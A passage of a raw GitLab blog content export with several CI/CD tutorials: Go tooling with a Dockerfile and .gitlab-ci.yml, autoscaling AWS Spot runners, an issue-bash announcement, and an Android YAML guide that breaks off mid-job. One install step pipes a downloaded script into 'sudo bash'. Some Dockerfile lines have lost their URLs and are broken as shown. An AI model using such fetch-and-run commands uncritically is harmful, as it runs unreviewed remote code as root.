(`help`).\n\nNote that we also had to create a script for the code coverage work. This is because implementing loops over files in a Makefile is a pain. So the work is done in a `bash` script, and the Makefile only triggers this script.\n\nYou can try the Makefile with the following commands:\n\n    $ make help\n    $ make lint\n    $ make coverage\n\n### Continuous integration\n\n*git tag:* [init-ci](https://gitlab.com/pantomath-io/demo-tools/tags/init-ci)\n\nNow the tools are in place, and we can run various tests on our code, we’d like to automate these, on your repository. Luckily, GitLab offers [CI pipelines](/solutions/continuous-integration/) just for this. And the setup for this is pretty straightforward: all you create is a `.gitlab-ci.yml` file at the root of the repository.\n\nThe [full documentation](https://docs.gitlab.com/ee/ci/yaml/) on this Yaml file presents all the options, but you can start with this `.gitlab-ci.yml`:\n\n```yaml\nimage: golang:1.9\n\ncache:\n  paths:\n    - /apt-cache\n    - /go/src/github.com\n    - /go/src/golang.org\n    - /go/src/google.golang.org\n    - /go/src/gopkg.in\n\nstages:\n  - test\n  - build\n\nbefore_script:\n  - mkdir -p /go/src/gitlab.com/pantomath-io /go/src/_/builds\n  - cp -r $CI_PROJECT_DIR /go/src/gitlab.com/pantomath-io/pantomath\n  - ln -s /go/src/gitlab.com/pantomath-io /go/src/_/builds/pantomath-io\n  - make dep\n\nunit_tests:\n  stage: test\n  script:\n    - make test\n\nrace_detector:\n  stage: test\n  script:\n    - make race\n\nmemory_sanitizer:\n  stage: test\n  script:\n    - make msan\n\ncode_coverage:\n  stage: test\n  script:\n    - make coverage\n\ncode_coverage_report:\n  stage: test\n  script:\n    - make coverhtml\n  only:\n  - master\n\nlint_code:\n  stage: test\n  script:\n    - make lint\n\nbuild:\n  stage: build\n  script:\n    - make\n```\n\nIf you break down the file, here are some explanations on its content:\n\n* The first thing is to choose what Docker image will be used to run the CI. Head to the [Docker Hub](https://hub.docker.com/) to choose the right image for your project.\n* Then, you specify some folders of this image [to be cached](https://docs.gitlab.com/ee/ci/yaml/#cache). The goal here is to avoid downloading the same content several times. Once a job is completed, the listed paths will be archived, and next job will use the same archive.\n* You define the different `stages` that will group your jobs. In our case, we have two [stages](https://docs.gitlab.com/ee/ci/yaml/#stages) (to be processed in that order): `test` and `build`. We could have other stages, such as `deploy`.\n* The `before_script` [section](https://docs.gitlab.com/ee/ci/yaml/#before_script) defines the commands to run in the Docker container right before the job is actually done. In our context, the commands just copy or link the repository deployed in the `$GOPATH`, and install dependencies.\n* Then come the actual [jobs](https://docs.gitlab.com/ee/ci/jobs/), using the `Makefile` targets. Note the special case for `code_coverage_report` where execution is restricted to the `master` branch (we don’t want to update the code coverage report from feature branches for instance).\n\nAs we commit/push the `.gitlab-ci.yml` file in the repository, the CI is [automatically triggered](https://gitlab.com/pantomath-io/demo-tools/pipelines/13481935). And the pipeline fails. Howcome?\n\nThe `lint_code` [job](https://gitlab.com/pantomath-io/demo-tools/-/jobs/38690212) fails because it can’t find the `golint` binary:\n\n```bash\n$ make lint\nmake: golint: Command not found\nMakefile:11: recipe for target 'lint' failed\nmake: *** [lint] Error 127\n```\n\nSo, [update](https://gitlab.com/pantomath-io/demo-toolscommit/17a0206eb626504e559f56773e2d81c7b5808dbe) your `Makefile` to install `golint` as part of the `dep` target.\n\nThe `memory_sanitizer` [job](https://gitlab.com/pantomath-io/demo-tools/-/jobs/38690209) fails because `gcc` complains:\n\n```bash\n$ make msan\n# runtime/cgo\ngcc: error: unrecognized argument to -fsanitize= option: 'memory'\nMakefile:20: recipe for target 'msan' failed\nmake: *** [msan] Error 2\n```\n\nBut remember we need to use Clang/LLVM `>=3.8.0` to enjoy the `-msan` option in `go test` command.\n\nWe have two options here:\n\n* either we set up Clang in the job (using `before_script`);\n* or we use a Docker image with Clang installed by default.\n\nThe first option is nice, but that implies to have this setup done **for every single job**. This is going to be so long, we should do it once and for all. So we prefer the second option, which is a good way to play with [GitLab Registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html).\n\n*git tag:* [use-own-docker](https://gitlab.com/pantomath-io/demo-tools/tags/use-own-docker)\n\nWe need to create a [Dockerfile](https://gitlab.com/pantomath-io/demo-tools/blob/use-own-docker/Dockerfile) for the container (as usual: read the [official documentation](https://docs.docker.com/engine/reference/builder) for more options about it):\n\n    # Base image:\n    FROM golang:1.9\n    MAINTAINER Julien Andrieux \u003Cjulien@pantomath.io>\n\n    # Install golint\n    ENV GOPATH /go\n    ENV PATH ${GOPATH}/bin:$PATH\n    RUN go get -u github.com/golang/lint/golint\n\n    # Add apt key for LLVM repository\n    RUN wget -O -\n     | apt-key add -\n\n    # Add LLVM apt repository\n    RUN echo \"deb\n     llvm-toolchain-stretch-5.0 main\" | tee -a /etc/apt/sources.list\n\n    # Install clang from LLVM repository\n    RUN apt-get update && apt-get install -y --no-install-recommends \\\n        clang-5.0 \\\n        && apt-get clean \\\n        && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*\n\n    # Set Clang as default CC\n    ENV set_clang /etc/profile.d/set-clang-cc.sh\n    RUN echo \"export CC=clang-5.0\" | tee -a ${set_clang} && chmod a+x ${set_clang}\n\nThe container built out of this Dockerfile will be based on [golang:1.9](https://hub.docker.com/_/golang/) image (the one referenced in the `.gitlab-ci.yml` file).\n\nWhile we’re at it, we install `golint` in the container, so we have it available. Then we follow [official way](http://apt.llvm.org/) of installing Clang 5.0 from LLVM repository.\n\nNow we have the Dockerfile in place, we need to build the container image and make it available for GitLab:\n\n```bash\n$ docker login registry.gitlab.com\n$ docker build -t registry.gitlab.com/pantomath-io/demo-tools .\n$ docker push registry.gitlab.com/pantomath-io/demo-tools\n```\n\nThe first command connects you to the GitLab Registry. Then you build the container image described in the Dockerfile. And finally, you push it to the GitLab Registry.\n\nTake a look at the [Registry for your repository](https://gitlab.com/pantomath-io/demo-tools/container_registry), you’ll see your image, ready to be used. And to have the CI using your image, you just need to update the `.gitlab-ci.yml` file:\n\n    image: golang:1.9\n\nbecomes\n\n    image: registry.gitlab.com/pantomath-io/demo-tools:latest\n\nOne last detail: you need to tell the CI to use the proper compiler (i.e. the `CC` environment variable), so we add the variable initialization in the `.gitlab-ci.yml` file:\n\n    export CC=clang-5.0\n\nOnce the modification are done, next commit will trigger the pipeline, which now works:\n\n[gitlab.com/pantomath-io/demo-tools/pipelines/13497136](https://gitlab.com/pantomath-io/demo-tools/pipelines/13497136)\n\n### Badges\n\n*git tag:* [init-badges](https://gitlab.com/pantomath-io/demo-tools/tags/init-badges)\n\n![](https://cdn-images-1.medium.com/max/1600/1*0pY_6oCiHZ_eLh0vfg5rDA.jpeg)\n\n*\u003Csmall>Photo by [Jakob Owens](https://unsplash.com/photos/ZBadHaTUkP0?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\u003C/small>*\n\nNow the tools are in place, every commit will launch a test suite, and you probably want to show it, and that’s legitimate :) The best way to do so is to use badges, and the best place for it is the `README` [file](https://gitlab.com/pantomath-io/demo-tools/blob/init-badges/README.md).\n\nEdit it and add the four following badges:\n\n* Build Status: the status of the last pipeline on the `master` branch:\n\n```\n[![Build Status](https://gitlab.com/pantomath-io/demo-tools/badges/master/build.svg)](https://gitlab.com/pantomath-io/demo-tools/commits/master)\n```\n\n* Coverage Report: the percentage of source code covered by tests\n\n```\n[![Coverage Report](https://gitlab.com/pantomath-io/demo-tools/badges/master/coverage.svg)](https://gitlab.com/pantomath-io/demo-tools/commits/master)\n```\n\n* Go Report Card:\n\n```\n[![Go Report Card](https://goreportcard.com/badge/gitlab.com/pantomath-io/demo-tools)](https://goreportcard.com/report/gitlab.com/pantomath-io/demo-tools)\n```\n\n* License:\n\n```\n[![License MIT](https://img.shields.io/badge/License-MIT-brightgreen.svg)](https://img.shields.io/badge/License-MIT-brightgreen.svg)\n```\n\nThe coverage report needs a special configuration. You need to tell GitLab how to get that information, considering that there is a job in the CI that *displays* it when it runs.\u003Cbr> There is a [configuration](https://gitlab.com/help/user/project/pipelines/settings#test-coverage-parsing) to provide GitLab with a regexp, used in any job’ output. If the regexp matches, GitLab consider the match to be the code coverage result.\n\nSo head to `Settings > CI/CD` in your repository, scroll down to the `Test coverage parsing` setting in the `General pipelines settings` section, and use the following regexp:\n\n    total:\\s+\\(statements\\)\\s+(\\d+.\\d+\\%)\n\nYou’re all set! Head to the [overview of your repository](https://gitlab.com/pantomath-io/demo-tools/tree/init-badges), and look at your `README`:\n\n### Conclusion\n\nWhat’s next? Probably more tests in your CI. You can also look at the CD ([Continuous Deployment](https://docs.gitlab.com/ee/ci/environments/index.html)) to automate the deployment of your builds. The documentation can be done using [GoDoc](https://godoc.org/-/about). Note that you generate a coverage report with the `code_coverage_report`, but don’t use it in the CI. You can make the job copy the HTML file to a web server, using `scp` (see this [documentation](https://docs.gitlab.com/ee/ci/ssh_keys/) on how to use SSH keys).\n\nMany thanks to [Charles Francoise](https://dev.to/loderunner) who co-wrote this paper and [gitlab.com/pantomath-io/demo-tools](https://gitlab.com/pantomath-io/demo-tools).\n\n## About the Guest Author\n\nJulien Andrieux is currently working on Pantomath. Pantomath is a modern, open source monitoring solution, built for performance, that bridges the gaps across all levels of your company. The wellbeing of your infrastructure is everyone’s business. [Keep up with the project](http://goo.gl/tcxtXq).\n\n *[Go tools & GitLab - how to do Continuous Integration like a boss](https://medium.com/pantomath/go-tools-gitlab-how-to-do-continuous-integration-like-a-boss-941a3a9ad0b6) was originally published on Medium.*\n\n*Cover photo by [Todd Quackenbush](https://unsplash.com/photos/IClZBVw5W5A?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)*\n{: .note}\n",[110,4772,696],{"slug":34482,"featured":6,"template":678},"go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss","content:en-us:blog:go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss.yml","Go Tools And Gitlab How To Do Continuous Integration Like A Boss","en-us/blog/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss.yml","en-us/blog/go-tools-and-gitlab-how-to-do-continuous-integration-like-a-boss",{"_path":34488,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34489,"content":34495,"config":34501,"_id":34503,"_type":16,"title":34504,"_source":17,"_file":34505,"_stem":34506,"_extension":20},"/en-us/blog/autoscale-ci-runners",{"title":34490,"description":34491,"ogTitle":34490,"ogDescription":34491,"noIndex":6,"ogImage":34492,"ogUrl":34493,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34493,"schema":34494},"Autoscale GitLab CI/CD runners and save 90% on EC2 costs","Guest author Max Woolf shows how his team makes big savings with an autoscaling cluster of GitLab CI/CD runners.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680305/Blog/Hero%20Images/autoscale-gitlab-ci-runners.jpg","https://about.gitlab.com/blog/autoscale-ci-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Autoscale GitLab CI/CD runners and save 90% on EC2 costs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Max Woolf\"}],\n        \"datePublished\": \"2017-11-23\",\n      }",{"title":34490,"description":34491,"authors":34496,"heroImage":34492,"date":34498,"body":34499,"category":734,"tags":34500},[34497],"Max Woolf","2017-11-23","\n\nAt [Substrakt Health](https://substrakthealth.com/), we use continuous integration workers to test our software every time new code is written and pushed, but that computing capacity can be expensive and hard to predict. This tutorial shows you how to set up an autoscaling [cluster of GitLab CI/CD](/topics/ci-cd/) runners using docker-machine and AWS.\n\n\u003C!-- more -->\n\nCode quality is **always** a top priority for us. We want to know that our code works every time and when it stops working we want to know immediately. We use [GitLab CI/CD](/solutions/continuous-integration/) to run our tests every time we push new code and before every deployment. GitLab CI/CD lets us split this work across multiple servers and scale up and down capacity as required to keep costs down for us. This tutorial will show you how to set up an autoscaling CI/CD cluster for GitLab and save up to 90 percent on costs using AWS EC2 Spot Instances.\n\nGitLab CI/CD allows us to split our jobs across multiple machines. By default, each new worker node requires some setup work to provision and attach it to our GitLab instance, but we can also use the autoscaling mode to provision a single machine and let that machine decide how much capacity is required and then spin up or down further instances as required.\n\n>**A warning**: This tutorial will not be covered entirely by the AWS free usage tier. It’s going to cost money to try this out.\n\n## Creating the spawner\n\nFirst off, we need a spawner machine. This runs 24/7 and checks that GitLab CI/CD has enough capacity to run the jobs currently in the queue. **It doesn’t run any jobs itself.**\n\nWe use Ubuntu 16.04 LTS for our internal tooling, so just create an EC2 instance (*t2.micro* is enough and is included in the free tier.) Setting up VPCs and related subnets is out of the scope of this article, we’ll assume that you’re working in the default VPC. Then we need to install a bunch of software on our machine to set it up.\n\n## Installing gitlab-runner\n\ngitlab-runner is the main software we need to complete this task. Installing it on Ubuntu is really easy.\n\n```\ncurl -L https://packages.gitlab.com/install/repositories/runner/gitlab-ci-multi-runner/script.deb.sh | sudo bash\n```\n\n```\nsudo apt-get install gitlab-ci-multi-runner\n```\n\n\u003Cimg src=\"/images/blogimages/auto-scale-ci-runners-gif.gif\" alt=\"Installing gitlab-runner\" style=\"width: 700px;\"/>{: .shadow}\n\nOnce you’ve done that, register the runner on your GitLab instance. Do this as you normally would with any other GitLab CI/CD runner but choose **docker+machine** as the runner. Docker Machine is the software required to spin up new virtual machines and install Docker on them.\n\n## Installing Docker Machine\n\nDocker Machine is a handy bit of software that allows one host running Docker to spin up and provision other machines running Docker. Installing it is even easier:\n\n```\ncurl -L https://github.com/docker/machine/releases/download/v0.12.2/docker-machine-`uname -s`-`uname -m` >/tmp/docker-machine &&\nchmod +x /tmp/docker-machine &&\nsudo cp /tmp/docker-machine /usr/local/bin/docker-machine\n```\n\nThis will install the docker-machine binary in your PATH.\n\n## Configuring gitlab-runner\n\nBy default, gitlab-runner will not work in the autoscaling mode we want. It’ll just run a job by default and then stop. We want to configure this machine to no longer run tests but to spin up new Docker Machines as and when necessary. Open your gitlab-runner config file, usually found in `/etc/gitlab-runner/config.toml` and make some changes. This is our example (with sensitive information removed). Let’s go through some of the important lines.\n\n```\nconcurrent = 12\ncheck_interval = 0\n\n[[runners]]\n  name = \"aws-gitlab-runner-spawner\"\n  limit = 6\n  url = \"https://git.substrakt.com/ci\"\n  token = \"xxxxx\"\n  executor = \"docker+machine\"\n  [runners.docker]\n    tls_verify = false\n    image = \"ruby:2.3.1\"\n    privileged = true\n    disable_cache = false\n    volumes = [\"/cache\"]\n    shm_size = 0\n  [runners.machine]\n    IdleCount = 0\n    MachineDriver = \"amazonec2\"\n    MachineName = \"runner-%s\"\n    MachineOptions = [\"amazonec2-access-key=XXXX\", \"amazonec2-secret-key=XXXX\", \"amazonec2-ssh-user=ubuntu\", \"amazonec2-region=eu-west-2\", \"amazonec2-instance-type=m4.xlarge\", \"amazonec2-ami=ami-996372fd\", \"amazonec2-vpc-id=vpc-xxxxx\", \"amazonec2-subnet-id=subnet-xxxxx\", \"amazonec2-zone=a\", \"amazonec2-root-size=32\", \"amazonec2-request-spot-instance=true\", \"amazonec2-spot-price=0.03\"]\n    IdleTime = 1800\n```\n\n```\nconcurrent = 12\n```\n\nThis tells GitLab CI/CD that in total, it should attempt to run 12 jobs simultaneously across all child workers.\n\n```\nlimit = 6\n```\n\nThis tells GitLab CI/CD that in total, it should use for running jobs a maximum of six worker nodes. You’ll need to tweak this value depending on the resources your jobs need and the resources of your child nodes. There’s no right answer here but generally we found it wasn’t a good idea to have more than the number of CPUs – 1 of jobs running per node but again this is a bit of a ‘finger-in-the-air’ calculation as it really depends on your tech stack.\n\n```\nIdleCount = 0\n```\n\nThis tells GitLab CI/CD not to run any machines constantly (whilst idle). This means when nobody is running a job, or no jobs are queued to spin down all of the worker nodes after an amount of time (IdleTime at the bottom of the file). We power our nodes down after half an hour of no use. This does have the consequence of there being a short wait when we start our day, but it saves us money as we’re not using computing power when it’s not required.\n\nIf you're interested in more about how `concurrent`, `limit` and `IdleCount` are defining the maximum number of jobs and nodes that will be used, you can find a more detailed description in Runner's autoscale configuration document: [Autoscaling algorithm and parameters](https://docs.gitlab.com/runner/configuration/autoscale.html#autoscaling-algorithm-and-parameters), [How parameters generate the upper limit of running machines](https://docs.gitlab.com/runner/configuration/autoscale.html#how-concurrent-limit-and-idlecount-generate-the-upper-limit-of-running-machines).\n\n```\nMachineOptions = [\"amazonec2-access-key=XXXX\", \"amazonec2-secret-key=XXXX\", \"amazonec2-ssh-user=ubuntu\", \"amazonec2-region=eu-west-2\", \"amazonec2-instance-type=m4.xlarge\", \"amazonec2-ami=ami-996372fd\", \"amazonec2-vpc-id=vpc-xxxxx\", \"amazonec2-subnet-id=subnet-xxxxx\", \"amazonec2-zone=a\", \"amazonec2-root-size=32\", \"amazonec2-request-spot-instance=true\", \"amazonec2-spot-price=0.03\"]\n```\n\nThis is where the magic happens. This is where we set our options for Docker Machine. It defines the size, type and price of our runners. I’ll run through each of the non-obvious options.\n\n```\namazonec2-vpc-id=vpc-xxxxx & amazonec2-subnet-id=subnet-xxxxx\n```\n\nThis is the VPC and associated subnet ID. Generally, you’d want this in your default VPC in a public subnet. We run our jobs in a private VPC with internal peering connections to other VPCs due to regulatory constraints.\n\n```\namazonec2-region=eu-west-2\n```\n\nThis is the AWS region. We run all of our infrastructure in the EU (London) region.\n\n```\namazonec2-instance-type=m4.xlarge\n```\n\nThis is the size of the instance we want for each of our runners. This setting can have massive implications on cost and it can be a tricky balancing act. Choose too small and your jobs take forever to run due to a lack of resources (more time = more money) but choose too large and you have unused compute capacity which costs you money you don’t need to spend. Again, there’s no right answer here, it’s about what works for your workload. We found m4.xlarge works for us.\n\n## Save up to 90 percent on EC2 costs using Spot Instances\n\nSpot Instances are magic. They allow us to bid for unused capacity in the AWS infrastructure and often can mean that EC2 costs can be dramatically lower. We’re currently seeing discounts of around 85 percent on our EC2 bills due to using Spot Instances. Setting them up for use on GitLab CI/CD is really easy too. There is (of course) a downside. If our bid price for VMs is exceeded, then our instances shut down with only a few minutes notice. But as long as our bid is high enough, this isn’t an issue. Pricing in the spot market is insanely complex but in eu-west-2 at least, prices for m4.large and xlarge instances appear to have been static for months so a bid 10-20 percent higher than the current spot price appears to be a safe bet. Just keep your eyes peeled. The current spot price for an m4.xlarge instance is $0.026. We’ve set our maximum price at $0.03 to give us some wiggle room. At time of writing, the on-demand price is $0.232. The numbers speak for themselves.\n\n>Note: Spot pricing can vary significantly between instance sizes, regions and even availability zones in the same region. This guide assumes that spot pricing won’t vary massively or that you’ve set a good buffer above the current spot price to avoid outages.\n\n```\namazonec2-request-spot-instance=true & amazonec2-spot-price=0.03\n```\n\nThis tells GitLab CI/CD that instead of just spawning new EC2 instances at full price, that it should request Spot Instances at the current spot price, setting a maximum bid that it should not exceed per hour, in USD (regardless of what currency you’re billed in. We’re billed in GBP, but Spot Instances are still calculated in USD.) The maximum bid is whatever you’re comfortable paying. We tend to set it close to the on-demand price because we’re looking for any discount. As long as we’re not paying more than we otherwise would, it’s fine with us. Your financial constraints may affect your decisions differently.\n\n>Update: From October, AWS will charge in seconds, rather than hours used, making the potential savings even higher for unused partial hours.\n\nWe’d love to see how you get along with this so please let us know. You can contact me max [at] substrakthealth [dot] com. For us, it’s saved us time and money and that’s never a bad thing.\n\n## About the Guest Author\n\nMax Woolf is a Senior Developer at Substrakt Health. Based in the UK, they use innovative technology to transform how primary care providers organize and deliver care to patients in a sustainable NHS.\n\n_[Autoscale GitLab CI runners and save 90% on EC2 costs](https://substrakthealth.com/autoscale-gitlab-ci-runners-and-save-90-on-ec2-costs/) was originally published on Substrakt Health's blog._\n\nCover image by [Sebastien Gabriel](https://unsplash.com/@sgabriel) on Unsplash\n{: .note}\n",[4772,110],{"slug":34502,"featured":6,"template":678},"autoscale-ci-runners","content:en-us:blog:autoscale-ci-runners.yml","Autoscale Ci Runners","en-us/blog/autoscale-ci-runners.yml","en-us/blog/autoscale-ci-runners",{"_path":34508,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34509,"content":34514,"config":34519,"_id":34521,"_type":16,"title":34522,"_source":17,"_file":34523,"_stem":34524,"_extension":20},"/en-us/blog/gitlab-issue-bash-december-2017",{"title":34510,"description":34511,"ogTitle":34510,"ogDescription":34511,"noIndex":6,"ogImage":33487,"ogUrl":34512,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34512,"schema":34513},"Join GitLab's December Issue Bash","Join us December 2017 and help us to squash some of the open issues in the GitLab Community Edition tracker!","https://about.gitlab.com/blog/gitlab-issue-bash-december-2017","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join GitLab's December Issue Bash\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Fletcher\"}],\n        \"datePublished\": \"2017-11-20\",\n      }",{"title":34510,"description":34511,"authors":34515,"heroImage":33487,"date":34516,"body":34517,"category":299,"tags":34518},[33492],"2017-11-20","\n\nThis December we'll be holding another of our quarterly issue bashes to allow the community to get involved in helping to squash some issues in the GitLab Community Edition issue tracker. We have over 1,800\n[GitLab contributors](http://contributors.gitlab.com/contributors/),\nand we are always looking for more people to join in and contribute to the project in any way that they can.\n\n\u003C!-- more -->\n\nOf course, some lucky contributors will be rewarded with awesome swag! 🙌\n\nWe now have [the issue bash landing page](/community/issue-bash/) with all the information about how exactly the Issue Bash works. Please take a look there and provide any feedback to our [feedback project](https://gitlab.com/gitlab-org/issue-bash/feedback) or propose changes directly [here](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/source/community/issue-bash/index.html.haml)!\n\n## When is it going to happen?\n\nWe'll kick it off at 00:01 UTC on Saturday, **December 16th**\nand will keep it up until 23:59 UTC on Sunday, **December 17th**.\n\n## Who can contribute?\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n&nbsp;&nbsp;\n**At GitLab, everyone can contribute!**\n&nbsp;&nbsp;\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nThis is your chance to get involved! Most of the tasks don't require\ntechnical expertise, therefore, non-technical community\nmembers are definitely welcome and prize worthy!\n\n## How do you get involved?\n\nPlease see [the FAQ on the Issue Bash landing page](/community/issue-bash/#bash-q-a) to learn more about how to get involved.\n\n## Prizes\n\nWe have some awesome swag available to as prizes:\n\n- Five T-shirts\n- Four pairs of pajama pants\n- Three Moleskine notebooks\n- Two [PocketCHIPs](https://getchip.com/pages/pocketchip)\n- One messenger bag (filled with all the stuff listed above!)\n\n![GitLab Issue Bash - Prizes](https://about.gitlab.com/images/blogimages/gitlab-issue-bash-june-2017-prizes.png)\n\nUsers making any contributions to the project,\nbetween the start and end times of the event, will be entered into the random draw\nto win a prize. The contributions will be collated after the end of the event and\nprize winners, drawn at random, will be contacted in the weeks that follow.\n\nTo see how we draw winners at random please take a look at the [prize winner calculator project](https://gitlab.com/gitlab-org/issue-bash/prize-winner-calculator)\n\n## Questions? More info?\n\n[GitLab team](/company/team/) and [GitLab core team](/community/core-team/) members will be on hand to answer questions and close issues. Please mention them if you need any help or need attention on an issue\n\n* [@markglenfletcher](https://gitlab.com/markglenfletcher)\n* [@tnir](https://gitlab.com/tnir)\n* [@blackst0ne](https://gitlab.com/blackst0ne)\n",[277,267,815],{"slug":34520,"featured":6,"template":678},"gitlab-issue-bash-december-2017","content:en-us:blog:gitlab-issue-bash-december-2017.yml","Gitlab Issue Bash December 2017","en-us/blog/gitlab-issue-bash-december-2017.yml","en-us/blog/gitlab-issue-bash-december-2017",{"_path":34526,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":34527,"content":34533,"config":34538,"_id":34540,"_type":16,"title":34541,"_source":17,"_file":34542,"_stem":34543,"_extension":20},"/en-us/blog/working-with-yaml-gitlab-ci-android",{"title":34528,"description":34529,"ogTitle":34528,"ogDescription":34529,"noIndex":6,"ogImage":34530,"ogUrl":34531,"ogSiteName":1180,"ogType":1181,"canonicalUrls":34531,"schema":34532},"Working with YAML in GitLab CI from the Android perspective","Guest author Renato Stanic shares a sample YAML configuration for Android projects, which helps his team with faster, more iterative development.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665524/Blog/Hero%20Images/yaml-gitlab-ci-android.png","https://about.gitlab.com/blog/working-with-yaml-gitlab-ci-android","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Working with YAML in GitLab CI from the Android perspective\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Renato Stanic\"}],\n        \"datePublished\": \"2017-11-20\",\n      }",{"title":34528,"description":34529,"authors":34534,"heroImage":34530,"date":34516,"body":34536,"category":734,"tags":34537},[34535],"Renato Stanic","\nUsing [continuous integration in our everyday workflow](/solutions/continuous-integration/) can help us a lot with faster and iterative development, and having CI do checks every time we change our codebase helps us with deal with fear of modifying code.\n\n\u003C!-- more -->\n\nDeploying app builds manually takes time and leaves us idle while we could be developing new and exciting features instead. Here at Undabot we are using GitLab CI for continuous integration. GitLab CI uses a YAML file for job configuration. In this blog post we will go through a sample YAML configuration for Android projects and describe the main YAML building blocks with common Android CI jobs.\n\n### YAML intro\nThe YAML file defines a set of jobs with constraints stating when they should be run. The jobs are defined as top-level elements with a name and always have to contain at least the `script` clause:\n\n```\nhelloworld_job:\n  script: \"echo Hello World!\"\n\nassemble_job:\n  script: \"./gradlew assembleRelease\"\n```\n\nYAML syntax allows for more complex job definitions than in the above example:\n\n```\nbefore_script:\n  - bundle install\n\nafter_script:\n  - rm secrets\n\nstages:\n  - build\n  - test\n  - deploy\n\nhelloworld_job:\n  stage: build\n  script:\n    - echo Hello World\n  only:\n    - master\n  tags:\n    - android\n```\n\n`before_script` – commands that run before each jobs script\n`after_script` – commands that run after each jobs script\n`stages` – used to define build stages\n`only` – defines the names of branches and tags for which the job will run\n`tags` – used to select specific Runners from the list of all Runners that are allowed to run this project.\n\n## Initial setup for Android\n\nFirst step is to create a YAML file called `gitlab-ci.yml` in root directory of your Android project and add the following code:\n\n```\nbefore_script:\n  - export ANDROID_HOME=\"$HOME/Library/Android/sdk\"\n  - bundle install\nstages:\n  - build\n  - test\n  - quality_assurance\n  - deploy\n```\n\nIn `before_script` we execute these two commands:\n`- export ANDROID_HOME=\"$HOME/Library/Android/sdk”`– sets Android home environment variable to be available for all other jobs and Gradle tasks\n`- bundle install` – we are using fastlane for task automation and Bundler to manage Ruby gems so we need to run bundle install to make sure everything is installed correctly.\n\nIn the `stages` section we define four build stages:\n`- build`– for build jobs\n`- test`– for test jobs that include unit and instrumentation tests\n`- quality_assurance`– for jobs that run all of our QA tools\n`- deploy`– for deployment jobs\n\n## Build stage\n\nThis job (`build_job`) is used to create an APK artifact that can be used to test the app manually or to upload it to the Play Store.\n\n```\nbuild_job:\n  stage: build\n  script:\n    - ./gradlew clean assembleRelease\n  artifacts:\n    paths:\n      - app/build/outputs/\n  ```\n\n`build_job:`– name of the CI job\n`stage: build`– it gets executed in the build stage\n`./gradlew clean assembleRelease`– executes Gradle command to create a release APK\n`artifacts:`– job section that defines list of files and directories that are attached to a job after completion.\n`paths:`– output file paths\n`app/build/outputs`– directory path of our APK\n\n## Unit tests\n\nThis job (`unit_tests`) runs our unit tests in a test stage. Every time they fail, a report artifact will be created. Each report artifact expires within four days of creation.\n\n```\nunit_tests:\n  stage: test\n  script:\n    - ./gradlew test\n  artifacts:\n    name: \"reports_${CI_PROJECT_NAME}_${CI_BUILD_REF_NAME}\"\n    when: on_failure\n    expire_in: 4 days\n    paths:\n      - app/build/reports/tests/\n  ```\n\n`./gradlew test`– run Gradle command that triggers our unit tests artifacts:\n`name:`– defines artifact name by using environment variables\n`CI_PROJECT_NAME`– project name that is currently being built\n`CI_BUILD_REF_NAME`– branch or tag name for which project is built\n`when:`– defines when is it created (on_success, on_failure, always)\n`expire_in:`– defines when is it expired, after artifact has expired it gets deleted from CI\n\n## Instrumentation tests\n\nThis job (`instrumentation_tests`) runs all of our instrumentation tests in a test stage by starting a windowless emulator without sound and animations followed by a [custom bash script](https://gist.github.com/anonymous/614aafb2d8710865c688684a8657a141) that waits for the emulator to start, after which the device is unlocked by sending key event 82. When the emulator is ready we run the Gradle command for instrumentation tests. Once all tests finished running, the emulator is killed with a [custom bash script](https://gist.github.com/anonymous/614aafb2d8710865c688684a8657a141).\n\n```\ninstrumentation_tests:\n  stage: test\n  script:\n    - emulator -avd testAVD -no-audio -no-window &\n    - ./ci/android-wait-for-emulator.sh\n    - adb devices\n    - adb shell settings put global window_animation_scale 0 &\n    - adb shell settings put global transition_animation_scale 0 &\n    - adb shell settings put global animator_duration_scale 0 &\n    - adb shell input keyevent 82 &\n    - ./gradlew connectedAndroidTest\n    - ./ci/stop-emulators.sh\n  artifacts:\n    name: \"reports_${CI_PROJECT_NAME}_${CI_BUILD_REF_NAME}\"\n    when: on_failure\n    expire_in: 4 days\n    paths:\n      - app/build/reports/androidTests/connected/\n  ```\n\n`- emulator - avd testAVD -no-audio -no-window &`\n`- ./ci/android-wait-for-emulator.sh`\nStarts the emulator and waits for it to boot.\n`- adb devices`\nDisplays list of found devices in GitLab web terminal.\n`- adb shell settings put global window_animation_scale 0 &`\n`- adb shell settings put global transition_animation_scale 0 &`\n`- abd shell settings put global animator_duration_scale 0 &`\nDisables all animations and transitions.\n\n## Static analysis\n\nThis job (`static_analysis`) runs all of static code analysis in QA stage. This is a tricky area especially if you are working on a project with a lot of legacy code. My suggestion would be to disable all of the rules and start fixing them one at the time. Tools used for static analysis are lint, checkstyle, pmd and findbugs.\n\n```\nstatic_analysis:\n  stage: quality_assurance\n  script:\n    - ./gradlew lint\n    - 